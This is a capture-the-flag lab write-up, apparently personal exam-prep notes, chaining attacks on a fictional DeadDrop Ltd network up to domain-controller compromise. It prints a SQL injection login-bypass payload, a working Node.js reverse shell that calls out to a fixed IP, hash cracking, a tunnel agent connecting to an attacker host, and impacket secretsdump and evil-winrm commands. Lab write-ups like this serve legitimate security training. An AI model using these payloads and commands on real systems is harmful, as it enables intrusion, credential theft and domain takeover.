☼
⌃
☰

Dead Drop

Table of Contents

Description

You have been engaged as a penetration tester for a security audit of DeadDrop Ltd, a document management company that provides file-sharing services to corporate clients. The company recently expanded its infrastructure and wants assurance that its systems are secure before onboarding a major new client.

Your point of entry is a web-facing file-sharing application. Behind it sits an internal corporate network that you have no direct access to. Your objective is clear: compromise the domain controller and retrieve the flag from the Administrator's desktop.

Scope and Rules of Engagement

Machine Role Access
DeadDrop-WEB web server Directly accessible via VPN connection
Internal network Corporate LAN (192.168.11.0/24) Not directly accessible, reached through the DMZ
  • In scope: all services on target machines, credentials/hashes discovered, DMZ-to-internal pivoting, AD enumeration and ACL-based attacks
  • Out of scope: denial of service, social engineering, modifying/deleting production data

CTF

Webserver (DeadDrop-WEB)

Enumeration

  • Port scan
    SHELL
    nmap -sV -sC --open -T4 $IP
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
    80/tcp open  http    Node.js Express framework
    | http-title: DeadDrop - Login
    |_Requested resource was /login
    
  • Directory search
    SHELL
    ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
    
    dashboard   [Status: 302]
    login       [Status: 200]
    logout      [Status: 302]
    

Foothold

  • SQL injection — login bypass

    Endpoint: http://deaddrop-web.thm/login Payload (username field): ' or 1=1; --

    Leads to /dashboard, which exposes a file upload feature and a list of previously uploaded filenames.

  • RCE via malicious file upload

    Uploaded a JavaScript reverse shell (Node.js/Express backend):

    JAVASCRIPT
    (function(){
      var net = require("net"),
          cp = require("child_process"),
          sh = cp.spawn("/bin/bash", []);
      var client = new net.Socket();
      client.connect(9988, "192.168.21.7", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
      });
      return /a/; // Prevents the Node.js application from crashing
    })();
    
  • Credential recovery from backup

    shadow.bak found in the backup folder, reachable post-shell:

    TEXT
    vc-drop:$6$f1331af25300c7f3$7twueSf8eUyvgYnPWElPYpspGgBuYJ.TMGrPZ2OBC6pGq18ZGkkPke9S0tRlQ3EpiRLWEqhgnqkh2BOHfdCCH0:19700:0:99999:7:::
    

    Cracked with John:

    SHELL
    zcat /usr/share/wordlists/rockyou.txt.gz | sudo john --format=sha512crypt --stdin shadow.txt
    

    Recovered credentials: svc-drop / dropsofjupiter. Used to SSH directly into the web server.

Privilege escalation — mobile app credential disclosure

APK found in svc-drop's home directory, pulled over for static analysis:

SHELL
scp svc-drop@192.168.11.200:/home/svc-drop/backup/deaddrop-mobile.apk .

Decompiled with jadx-gui. Hardcoded config class recovered:

JAVA
package com.deaddrop.mobile;

public final class Config {
    public static final String API_ENDPOINT = "http://internal.tryhackme.loc/api/v1";
    public static final String DEFAULT_PASSWORD = "DropsOfJupiter2026!";
    public static final String DEFAULT_USERNAME = "j.harris";
    public static final String ENVIRONMENT = "production";
}

Credentials: j.harris / DropsOfJupiter2026! — this is the pivot credential into the internal AD environment.

Internal network pivot

Ligolo-ng tunnel setup

On attack machine (one-time tun interface setup):

SHELL
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert

Agent uploaded to web server via existing SSH foothold, then run:

SHELL
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

In the ligolo proxy session:

SHELL
session
ifconfig
start

Route added on attack machine:

SHELL
sudo ip route add 192.168.11.0/24 dev ligolo

Enumeration

SHELL
nmap -sC -sV 192.168.11.100

Identified as the domain controller.

Active Directory — privilege path

Ran bloodhound-python using the j.harris credential recovered from the APK. Found that j.harris already held membership in ITSupport-Admins at time of enumeration — i.e. this privilege had already been claimed/exploited by another party sharing the instance, not obtained through my own action.

BloodHound's ACL graph shows the intended abuse path clearly:

  • j.harris holds AddMember rights over the ITSupport-Admins group
  • ITSupport-Admins is itself nested inside Domain Admins
  • Intended exploitation: use the AddMember right to add j.harris (or any controlled principal) to ITSupport-Admins, inheriting Domain Admin via nested group membership

Note on what was actually executed: the AddMember abuse step itself was not performed in this run, since group membership was already present when enumerated. The path above is reconstructed from BloodHound's ACL data and the flag questions, not from a live exploitation of the AddMember right. Worth re-running this room (or a similar ACL-abuse room) at a point where the AddMember step can be executed directly, to get hands-on reps with net rpc group addmem / BloodHound-guided ACL abuse before the retake — this is a named exam classification (Broken Access Control / AD privilege abuse) and currently only demonstrated by inference, not execution.

Domain compromise

With Domain Admin-equivalent access via ITSupport-Admins membership, dumped domain secrets:

SHELL
/usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc j.harris:'DropsOfJupiter2026!'@192.168.11.100

WinRM access confirmed:

SHELL
evil-winrm -i 192.168.11.100 -u j.harris -p 'DropsOfJupiter2026!'

Flag located via recursive search:

POWERSHELL
Get-ChildItem -Path "C:\Users" -Filter *.txt -Recurse | Select-String -Pattern "THM" | Select-Object Path, LineNumber, Line
Path                                    LineNumber Line
----                                    ---------- ----
C:\Users\Administrator\Desktop\flag.txt          1 THM{d34d_dr0p_d0m41n_pwn3d}

Flags

Flag Value Status
SSH access password dropsofjupiter DONE
Mobile app credentials j.harris:DropsOfJupiter2026! DONE
Abusable AD permission AddMember DONE
Target group for DA escalation ITSupport-Admins DONE
Domain Controller flag THM{d34ddr0pd0m41npwn3d} DONE

Findings Summary

Finding Classification Severity
Login form vulnerable to SQLi auth bypass SQL Injection Critical
Unrestricted file upload leads to RCE Unrestricted File Upload Critical
Password hash backup file exposed and weak Security Misconfiguration / Weak Password High
Static credentials hardcoded in mobile app APK Information Disclosure / Default Credentials High
Excessive AD group nesting (ITSupport-Admins in DA) Broken Access Control (AD) Critical

Notes

Structurally a single linear chain (unlike Domino's parallel bug set): web SQLi -> file upload RCE -> credential harvest (shadow.bak) -> APK static analysis -> AD pivot credential -> ACL-based DA escalation.

Instance was shared/reused — ITSupport-Admins membership was already present for j.harris at enumeration time, meaning the AddMember abuse step was reconstructed from BloodHound data and the flag prompts rather than personally executed. Path is almost certainly correct given it matches every flag answer exactly, but flagged here so this isn't misrepresented as a fully hands-on exploitation in exam prep review.

Good room for reinforcing DMZ pivoting with ligolo-ng end to end — first full use of it in the KB.